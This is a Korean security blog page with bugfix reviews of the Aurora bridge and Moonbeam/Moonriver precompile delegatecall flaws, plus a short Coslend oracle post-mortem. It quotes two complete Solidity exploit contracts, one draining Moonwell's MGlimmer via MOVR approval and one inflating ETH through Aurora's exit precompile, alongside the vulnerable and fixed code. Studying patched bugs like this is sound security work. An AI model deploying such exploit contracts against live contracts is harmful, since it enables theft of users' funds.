2022.07.03 - [vulnerability analysis] - Aurora Inflation Spend Bugfix Review

 

Aurora Inflation Spend Bugfix Review

업데이트 시기 : 2022. 04. 27 취약점 신고자 : pwning.eth 취약점 요약 : Aurora의 Bridge 쪽에서 발견된 취약점으로, Bridge가 가지고 있는 자산을 무한으로 인출 가능한 취약점임. 취약점 분석 etc/eth-contra..

timmy-blockchain.tistory.com

이전 글을 안 읽었다면, 읽고 오는 걸 추천합니다.

 

이전 글에서는 Aurora Bufix 내용에 대해서 살펴보았다.

해당 내용을 간단히 요약하면 precompile된 contract에서 delegatecall에 대한 처리를 하지 않아 생긴 취약점이라고 할 수 있다. 취약점을 발견한 pwning.eth는 해당 취약점이 적용되는 다른 프로젝트들을 찾아보았다.

 

취약점은 Moonriver, Moonbeam에서 발견되었으며, 이는 Aurora에서 발견된 취약점과 매우 유사하다.

취약점은 balances-erc20, assets-erc20

moonbeam/precompiles/balances-erc20/src/lib.rs

	fn approve(handle: &mut impl PrecompileHandle) -> EvmResult<PrecompileOutput> {
		handle.record_cost(RuntimeHelper::<Runtime>::db_write_gas_cost())?;
		handle.record_log_costs_manual(3, 32)?;

		// Parse input.
		let mut input = handle.read_input()?;
		input.expect_arguments(2)?;

		let spender: H160 = input.read::<Address>()?.into();
		let amount: U256 = input.read()?;

		// Write into storage.
		{
			let caller: Runtime::AccountId =
				Runtime::AddressMapping::into_account_id(handle.context().caller);
			let spender: Runtime::AccountId = Runtime::AddressMapping::into_account_id(spender);
			// Amount saturate if too high.
			let amount = Self::u256_to_amount(amount).unwrap_or_else(|_| Bounded::max_value());

			ApprovesStorage::<Runtime, Instance>::insert(caller, spender, amount);
		}

		log3(
			handle.context().address,
			SELECTOR_LOG_APPROVAL,
			handle.context().caller,
			spender,
			EvmDataWriter::new().write(amount).build(),
		)
		.record(handle)?;

		// Build output.
		Ok(succeed(EvmDataWriter::new().write(true).build()))
	}

별도의 delegatecall에 대한 재제가 없었기 때문에 aurora때 있었던 취약점이 그대로 존재한다.

 

위 코드의 erc20은 moonbeam의 기본 토큰으로 사용되기 때문에 moonbeam 환경의 모든 지갑에 대해서 취약점이 존재한다. 해당 precompile contract의 주소는 0x0000000000000000000000000000000000000802이고, 토큰의 이름은 MOVR이다.

 

이 취약점으로는 직접적인 공격을 하기보다는 phising contract를 만들어 피해자가 이에 airdrop 등으로 접근하도록 하거나, 많은 자산을 가지고 있는 Contract의 또다른 취약점을 통해 그 Contract의 자산을 빼앗을 수 있다.

 

후자의 경우를 통해서 이 취약점을 트리거 할 수 있다.

Moonwell project의 Mglimmer 컨트랙트(0x6a1A771C7826596652daDC9145fEAaE62b1cd07f)에 취약점이 있다.

해당 project는 (https://github.com/moonwell-open-source/moonwell-contracts)에서 확인 가능하며,

해당 컨트랙트의 자산 크기는 약 400만달러 정도 된다.

 

Mglimmer 컨트랙트에서 redeemUnderlying 함수를 호출하면,  doTransferOut 함수를 호출하게 되는데 이 때 argument의 to에 로 msg.sender가 들어가게 된다.

    function doTransferOut(address payable to, uint amount) internal {
        /* Send the Glimmer, with minimal gas and revert on failure */
        (bool success, ) = to.call.value(amount)("");
        require(success, "Transfer failed");
    }

 

doTransferOut에서 to 주소에 콜하기 때문에 to 주소 즉 msg.sender 컨트랙트의 receive 함수를 잘 만든다면 앞서 발견한 취약점을 트리거 할 수 있게 된다. pwning.eth는 공격 Contract를 다음과 같이 작성했다.

    pragma solidity >=0.8.0;

    interface MGlimmer {
        function redeemUnderlying(uint redeemAmount) external returns (uint);
    }

    contract GlimmerExploit {
        address beneficiary;

        constructor() {}

        receive() payable external {
            if (msg.value == 0) {
                address asset = 0x0000000000000000000000000000000000000802;
                (bool success, ) = asset.delegatecall(
                abi.encodeWithSignature("approve(address,uint256)", beneficiary, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff));
                require(success, "approve");
            }
        }

        function exploit(address mglimmer) external {
            beneficiary = msg.sender;
            MGlimmer(mglimmer).redeemUnderlying(0);
        }
    }

 

해당 공격을 수행하면 MGlimmer 컨트랙트에 있는 모든 자산이 공격자의 Contract에 approve되기 때문에 사실상 모든 자산을 빼앗았다고 보아도 무방하다.

 

이 취약점은 Aurora가 수정했던 것과 유사하게 engine 자체에서 delegatecall로 호출되는 것을 금지했다.

 

precompiles/utils/src/precompileset.rs

    impl<P: StatefulPrecompile, S: PrecompileSet> PrecompileSet for ChainedPrecompile<P, S> {
        #[inline]
        fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> {
            // Move forward the chain if this is not the correct address.
            if handle.code_address() != self.address {
                return self.chain.execute(handle);
            }

            // Check DELEGATECALL
            if !self.allow_delegate && handle.code_address() != handle.context().address {
                return Some(Err(revert(
                    "cannot be called with DELEGATECALL or CALLCODE",
                )));
            }

 위의 함수에서 Check Delegatecall 조건문을 추가해 아예 delegatecall에 대한 접근을 차단했다.

 

참고

https://pwning.mirror.xyz/okyEG4lahAuR81IMabYL5aUdvAsZ8cRCbYBXh8RHFuE

'vulnerability analysis' 카테고리의 다른 글

Aurora Inflation Spend Bugfix Review  (0) 2022.07.03

업데이트 시기 : 2022. 04. 27

취약점 신고자 : pwning.eth

취약점 요약 : Aurora의 Bridge 쪽에서 발견된 취약점으로, Bridge가 가지고 있는 자산을 무한으로 인출 가능한 취약점임.

 

취약점 분석 

etc/eth-contracts/contracts/test/Tester.sol

    function withdrawEthToNear(bytes memory recipient) external payable {
        bytes memory input = abi.encodePacked("\x00", recipient);
        uint input_size = 1 + recipient.length;
        uint256 amount = msg.value;

        assembly {
            let res := call(gas(), 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f, amount, add(input, 32), input_size, 0, 32)
        }
    }

    function withdrawEthToEthereum(address recipient) external payable {
        bytes20 recipient_b = bytes20(recipient);
        bytes memory input = abi.encodePacked("\x00", recipient_b);
        uint input_size = 1 + 20;
        uint256 amount = msg.value;

        assembly {
            let res := call(gas(), 0xb0bd02f6a392af548bdf1cfaee5dfa0eefcc8eab, amount, add(input, 32), input_size, 0, 32)
        }
    }

위 코드는 aurora에서 자체적으로 만든 테스트 코드이다. 두 함수는 각각 브릿지에 Eth를 보내면 이를 반환해주는 함수다.

두 함수는 공통적인 취약점을 가지고 있으므로, withdrawEthToNear 함수만 봐도 무방하다.

 

withdrawEthToNear는 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f 주소를 호출하고 있으며, 해당 주소는 aurora 자체 개발 엔진인 engine-precompiles/src/native.rs에서 확인 가능하다.

 

engine-precompiles/src/native.rs

        // It's not allowed to call exit precompiles in static mode
        if is_static {
            return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_STATIC")));
        }
	let flag = input[0];
        #[cfg(feature = "error_refund")]
        let (refund_address, mut input) = parse_input(input);
        #[cfg(not(feature = "error_refund"))]
        let mut input = parse_input(input);
        let current_account_id = self.current_account_id.clone();
        #[cfg(feature = "error_refund")]
        let refund_on_error_target = current_account_id.clone();

        let (nep141_address, args, exit_event) = match flag {
            0x0 => {
                // ETH transfer
                //
                // Input slice format:
                //      recipient_account_id (bytes) - the NEAR recipient account which will receive NEP-141 ETH tokens

                if let Ok(dest_account) = AccountId::try_from(input) {
                    (
                        current_account_id,
                        // There is no way to inject json, given the encoding of both arguments
                        // as decimal and valid account id respectively.
                        format!(
                            r#"{{"receiver_id": "{}", "amount": "{}", "memo": null}}"#,
                            dest_account,
                            context.apparent_value.as_u128()
                        ),
                        events::ExitToNear {
                            sender: Address::new(context.caller),
                            erc20_address: events::ETH_ADDRESS,
                            dest: dest_account.to_string(),
                            amount: context.apparent_value,
                        },
                    )
                } else {
                    return Err(ExitError::Other(Cow::from(
                        "ERR_INVALID_RECEIVER_ACCOUNT_ID",
                    )));
                }
            }
            0x1 => {
                // ERC20 transfer
                //
                // This precompile branch is expected to be called from the ERC20 burn function\
                //
                // Input slice format:
                //      amount (U256 big-endian bytes) - the amount that was burned
                //      recipient_account_id (bytes) - the NEAR recipient account which will receive NEP-141 tokens

                if context.apparent_value != U256::from(0) {
                    return Err(ExitError::Other(Cow::from(
                        "ERR_ETH_ATTACHED_FOR_ERC20_EXIT",
                    )));
                }

                let erc20_address = context.caller;
                let nep141_address = get_nep141_from_erc20(erc20_address.as_bytes());

                let amount = U256::from_big_endian(&input[..32]);
                input = &input[32..];

                if let Ok(receiver_account_id) = AccountId::try_from(input) {
                    (
                        nep141_address,
                        // There is no way to inject json, given the encoding of both arguments
                        // as decimal and valid account id respectively.
                        format!(
                            r#"{{"receiver_id": "{}", "amount": "{}", "memo": null}}"#,
                            receiver_account_id,
                            amount.as_u128()
                        ),
                        events::ExitToNear {
                            sender: Address::new(erc20_address),
                            erc20_address: Address::new(erc20_address),
                            dest: receiver_account_id.to_string(),
                            amount,
                        },
                    )
                } else {
                    return Err(ExitError::Other(Cow::from(
                        "ERR_INVALID_RECEIVER_ACCOUNT_ID",
                    )));
                }
            }

위 코드는 native.rs에서 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f가 호출되는 중요한 부분만을 자른 코드이다.

 

input의 첫번째 인자로 flag를 받아 erc20을 받는지 Eth를 받는지 구분하고 있다.

flag=0인 경우에는 Eth를 받는 경우이며, 위의 context.apparent_value는 msg.value를 의미하고, dest_account는 input을 파싱하여 얻은 주소값을 가리키고 있다.

 

그렇게 각 값을 얻은 다음 이를 ExitToNear 이벤트 struct로 저장해 exit_event에 로그로 저장한다.

이렇게 로그로 저장된 값들은 engine/src/engine.rs 코드 내에서 스케줄러에 올라가게 된다.

 

engine/src/engine.rs

    fn filter_promises_from_logs<T, P>(handler: &mut P, logs: T) -> Vec<ResultLog>
    where
        T: IntoIterator<Item = Log>,
        P: PromiseHandler,
    {
        logs.into_iter()
            .filter_map(|log| {
                if log.address == exit_to_near::ADDRESS.raw()
                    || log.address == exit_to_ethereum::ADDRESS.raw()
                {
                    if log.topics.is_empty() {
                        if let Ok(promise) = PromiseArgs::try_from_slice(&log.data) {
                            match promise {
                                PromiseArgs::Create(promise) => schedule_promise(handler, &promise),
                                PromiseArgs::Callback(promise) => {
                                    let base_id = schedule_promise(handler, &promise.base);
                                    schedule_promise_callback(handler, base_id, &promise.callback)
                                }
                            };
                        }
                        // do not pass on these "internal logs" to caller
                        None
                    } else {
                        // The exit precompiles do produce externally consumable logs in
                        // addition to the promises. The external logs have a non-empty
                        // `topics` field.
                        Some(log.into())
                    }
                } else {
                    Some(log.into())
                }
            })
            .collect()
    }

exit_to_near 주소에서 올라간 로그들은 스케줄러 promise로 올라가게 됨을 확인할 수 있다.

 

취약점은 위에 올린 native.rs 코드에서 발견된다.

코드의 첫부분을 보게 되면 staticcall을 금지하는 코드가 있음을 확인할 수 있다.

        // It's not allowed to call exit precompiles in static mode
        if is_static {
            return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_STATIC")));
        }

해당 코드에서는 주소로 들어오는 호출이 staticcall일 경우 에러를 반환하도록 하고 있다.

하지만 delegatecall에 대해서는 별도의 조건이 없고 해당 호출을 허용하고 있다.

 

delegatecall을 사용하는 경우를 살펴보자.

출처 : https://eun97.tistory.com/entry/Solidity-call-delegateCall

delegatecall로 Contract A에서 Contract B를 호출하는 경우 msg.sender와 msg.value가 Contract A 호출시와 동일하다.

또한 사용하는 Storage는 Contract A가 된다.

 

따라서 아래와 같은 공격 Contract가 수행 가능하게 된다.

    // SPDX-License-Identifier: GPL-3.0

    pragma solidity ^0.8.6;

    contract Exploit {
        address payable private owner;

        constructor() {
            owner = payable(msg.sender);
        }

        function exploit(bytes memory recipient) public payable {
            require(msg.sender == owner);

            bytes memory input = abi.encodePacked("\x00", recipient);
            uint input_size = 1 + recipient.length;

            assembly {
                let res := delegatecall(gas(), 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f, add(input, 32), input_size, 0, 32)
            }

            owner.transfer(msg.value);
        }
    }

내 주소에서 Exploit Contract에 x Ether만큼 전송하고 exploit 함수를 호출한다고 생각해보자.

아래의 delegatecall을 통해 호출될 때의 상황을 생각해보면

msg.value = x, msg.sender = 내 주소, recipient = 내 주소 입력 이 되게 된다.

 

aurora engine에서는 bridge에 msg.value만큼 Eth가 전송되었다고 착각하여 앞서 설명한 프로세스를 수행하게 되고, 결과적으로 recipient(내 주소)에 x Eth를 전송하게 된다. 

 

결론적으로 내 주소에는 x Eth만큼의 자산이 추가되게 된다.

 

취약점 수정

해당 취약점은 앞서 staticcall을 금지한것처럼 delegatecall 호출을 금지함으로서 취약점이 수정되었다.

        // It's not allowed to call exit precompiles in static mode
        if is_static {
            return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_STATIC")));
        } else if context.address != Self::ADDRESS.raw() {
            return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_DELEGATE")));
        }

 

 

참고

https://medium.com/immunefi/aurora-infinite-spend-bugfix-review-6m-payout-e635d24273d

https://github.com/aurora-is-near/aurora-engine

https://aurora.dev/blog/aurora-mitigates-its-inflation-vulnerability

'vulnerability analysis' 카테고리의 다른 글

Precompile contract delegatecall Vulnerability  (0) 2022.07.05

https://rinthel.github.io/rust-lang-book-ko/ 

 

들어가기 앞서 - The Rust Programming Language

항상 그렇게 명확지는 않았지만, 러스트 프로그래밍 언어는 근본적으로 권한 분산에 관한 것입니다: 여러분이 어떠한 종류의 코드를 작성하는 중이던 간에, 러스트는 여러분에게 더 멀리 뻗어

rinthel.github.io

한글판

 

https://www.rust-lang.org/learn

 

Learn Rust

A language empowering everyone to build reliable and efficient software.

www.rust-lang.org

영문판

 

https://web.mit.edu/rust-lang_v1.25/arch/amd64_ubuntu1404/share/doc/rust/html/book/first-edition/README.html

 

Introduction - The Rust Programming Language

Welcome! This book will teach you about the Rust Programming Language. Rust is a systems programming language focused on three goals: safety, speed, and concurrency. It maintains these goals without having a garbage collector, making it a useful language f

web.mit.edu

 

대상 : Coslend

시기 : 2022. 06. 29

 

탈취당한 크기:

~64,305.596 USDC
~9,604.913 USDT
~1,826.745 FRAX
~14.2980 WETH

 

취약코드 : CoslendPrice.sol

    function updateSource(address marketToken,uint index,address source,string memory sourceType,bool available) public {
        TokenConfig storage tokenConfig = tokenConfigs[marketToken];
        PriceOracle storage priceOracle = tokenConfig.oracles[index];
        priceOracle.source =source;
        priceOracle.available = available;
        priceOracle.sourceType = sourceType;

    }
    // 출처 : https://github.com/coslendteam/coslend-contracts/blob/main/contracts/oracle/CoslendPriceOracleV1.sol

가격을 갱신하는 함수에 onlyOwner modifier를 붙여주지 않아 attacker가 쉽게 가격 조정 가능

 

취약점 수정 : onlyOwner 추가, github 소스코드나 docs에서는 수정이 없으나, 자체적으로 수정했다고 알림.

 

참고자료

https://medium.com/@coslend/post-mortem-coslend-priceoraclev1-contract-vulnerability-d5301c4c4395

 

 

+ Recent posts